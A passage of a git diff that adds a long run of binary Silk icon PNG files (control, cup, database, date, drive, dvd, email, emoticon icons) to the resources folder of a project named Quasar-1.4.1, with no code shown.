0000000..7dd1c07 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start_blue.png new file mode 100755 index 0000000..d55e730 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop.png new file mode 100755 index 0000000..c9b49f2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop_blue.png new file mode 100755 index 0000000..293415e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller.png new file mode 100755 index 0000000..5cf76ed Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_add.png new file mode 100755 index 0000000..efecb38 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_delete.png new file mode 100755 index 0000000..3d83bc7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_error.png new file mode 100755 index 0000000..7f17c0c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/creditcards.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/creditcards.png new file mode 100755 index 0000000..4eae583 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/creditcards.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cross.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cross.png new file mode 100755 index 0000000..1514d51 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cross.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/css.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css.png new file mode 100755 index 0000000..23f3101 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_add.png new file mode 100755 index 0000000..e8ea10f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_delete.png new file mode 100755 index 0000000..326aba4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_go.png new file mode 100755 index 0000000..6cdf38c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_valid.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_valid.png new file mode 100755 index 0000000..4c72ca5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/css_valid.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup.png new file mode 100755 index 0000000..b7bfcd1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_add.png new file mode 100755 index 0000000..4ecaece Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_delete.png new file mode 100755 index 0000000..59a6d9c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_edit.png new file mode 100755 index 0000000..0b8f1e1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_error.png new file mode 100755 index 0000000..6879874 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_go.png new file mode 100755 index 0000000..9527efb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_key.png new file mode 100755 index 0000000..7ae160c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_link.png new file mode 100755 index 0000000..41d1ace Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cursor.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cursor.png new file mode 100755 index 0000000..3174ee8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cursor.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cut.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cut.png new file mode 100755 index 0000000..f215d6f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cut.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cut_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cut_red.png new file mode 100755 index 0000000..85bb2f0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cut_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database.png new file mode 100755 index 0000000..919cb77 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_add.png new file mode 100755 index 0000000..802bd6c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_connect.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_connect.png new file mode 100755 index 0000000..3a11197 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_connect.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_delete.png new file mode 100755 index 0000000..cce652e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_edit.png new file mode 100755 index 0000000..e501b66 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_error.png new file mode 100755 index 0000000..578221a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_gear.png new file mode 100755 index 0000000..76831f9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_gear.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_go.png new file mode 100755 index 0000000..61a8556 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_key.png new file mode 100755 index 0000000..3334147 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_lightning.png new file mode 100755 index 0000000..d9eefc2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_link.png new file mode 100755 index 0000000..4c8204a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_refresh.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_refresh.png new file mode 100755 index 0000000..ff803be Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_refresh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_save.png new file mode 100755 index 0000000..44c06dd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_save.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_table.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_table.png new file mode 100755 index 0000000..693709c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/database_table.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date.png new file mode 100755 index 0000000..0d5fa0f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_add.png new file mode 100755 index 0000000..bfdeaef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_delete.png new file mode 100755 index 0000000..65ca476 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_edit.png new file mode 100755 index 0000000..e681065 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_error.png new file mode 100755 index 0000000..442cd97 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_go.png new file mode 100755 index 0000000..5c1bb02 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_link.png new file mode 100755 index 0000000..9f0aada Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_magnify.png new file mode 100755 index 0000000..cd05f19 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_next.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_next.png new file mode 100755 index 0000000..48d740a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_next.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_previous.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_previous.png new file mode 100755 index 0000000..ee8fc07 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/date_previous.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/delete.png new file mode 100755 index 0000000..08f2493 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/disconnect.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/disconnect.png new file mode 100755 index 0000000..b335cb1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/disconnect.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/disk.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/disk.png new file mode 100755 index 0000000..99d532e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/disk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/disk_multiple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/disk_multiple.png new file mode 100755 index 0000000..fc5a52f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/disk_multiple.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/door.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door.png new file mode 100755 index 0000000..369fc46 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_in.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_in.png new file mode 100755 index 0000000..41676a0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_in.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_open.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_open.png new file mode 100755 index 0000000..64bab57 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_open.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_out.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_out.png new file mode 100755 index 0000000..2541d2b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_out.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drink.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drink.png new file mode 100755 index 0000000..d98359c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drink.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drink_empty.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drink_empty.png new file mode 100755 index 0000000..4342607 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drink_empty.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive.png new file mode 100755 index 0000000..b93887f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_add.png new file mode 100755 index 0000000..29a35d5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_burn.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_burn.png new file mode 100755 index 0000000..80fd79f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_burn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd.png new file mode 100755 index 0000000..1850b70 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd_empty.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd_empty.png new file mode 100755 index 0000000..d3fb98a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd_empty.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_delete.png new file mode 100755 index 0000000..e6eb186 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_disk.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_disk.png new file mode 100755 index 0000000..5a51e81 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_disk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_edit.png new file mode 100755 index 0000000..7923fad Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_error.png new file mode 100755 index 0000000..309f639 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_go.png new file mode 100755 index 0000000..fc53379 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_key.png new file mode 100755 index 0000000..d0b3c67 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_link.png new file mode 100755 index 0000000..8679c4b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_magnify.png new file mode 100755 index 0000000..0f0f444 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_network.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_network.png new file mode 100755 index 0000000..63d2d5d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_network.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_rename.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_rename.png new file mode 100755 index 0000000..2a9f38b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_rename.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_user.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_user.png new file mode 100755 index 0000000..0b4751c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_user.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_web.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_web.png new file mode 100755 index 0000000..8850a83 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_web.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd.png new file mode 100755 index 0000000..9d94de5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_add.png new file mode 100755 index 0000000..517d112 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_delete.png new file mode 100755 index 0000000..87bed22 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_edit.png new file mode 100755 index 0000000..d6330aa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_error.png new file mode 100755 index 0000000..8f6d4be Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_go.png new file mode 100755 index 0000000..ef6959f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_key.png new file mode 100755 index 0000000..da9307f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_link.png new file mode 100755 index 0000000..caad726 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email.png new file mode 100755 index 0000000..7348aed Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_add.png new file mode 100755 index 0000000..6c93368 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_attach.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_attach.png new file mode 100755 index 0000000..1f99485 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_attach.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_delete.png new file mode 100755 index 0000000..a9932b1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_edit.png new file mode 100755 index 0000000..244f04a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_error.png new file mode 100755 index 0000000..8bdd330 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_go.png new file mode 100755 index 0000000..4a6c5d3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_link.png new file mode 100755 index 0000000..2c49f78 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open.png new file mode 100755 index 0000000..7b6f981 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open_image.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open_image.png new file mode 100755 index 0000000..e588e2f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open_image.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_evilgrin.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_evilgrin.png new file mode 100755 index 0000000..817bd50 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_evilgrin.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_grin.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_grin.png new file mode 100755 index 0000000..fc60c5e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_grin.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_happy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_happy.png new file mode 100755 index 0000000..6b7336e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_happy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_smile.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_smile.png new file mode 100755 index 0000000..ade4318 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_smile.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_surprised.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_surprised.png new file mode 100755 index 0000000..4520cfc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_surprised.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_tongue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_tongue.png new file mode 100755 index 0000000..ecafd2f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_tongue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_unhappy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_unhappy.png new file mode 100755 index 0000000..fd5d030 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_unhappy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_waii.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_waii.png new file mode 100755 index 0000000..458f936 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_waii.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_wink.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_wink.png new file mode 100755 index 0000000..a631949 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_wink.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error.png new file mode 100755 index 0000000..628cf2d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_add.png new file mode 100755 index 0000000..4c97484 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_delete.png new file mode 100755 index 0000000..7f78bcc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_go.png 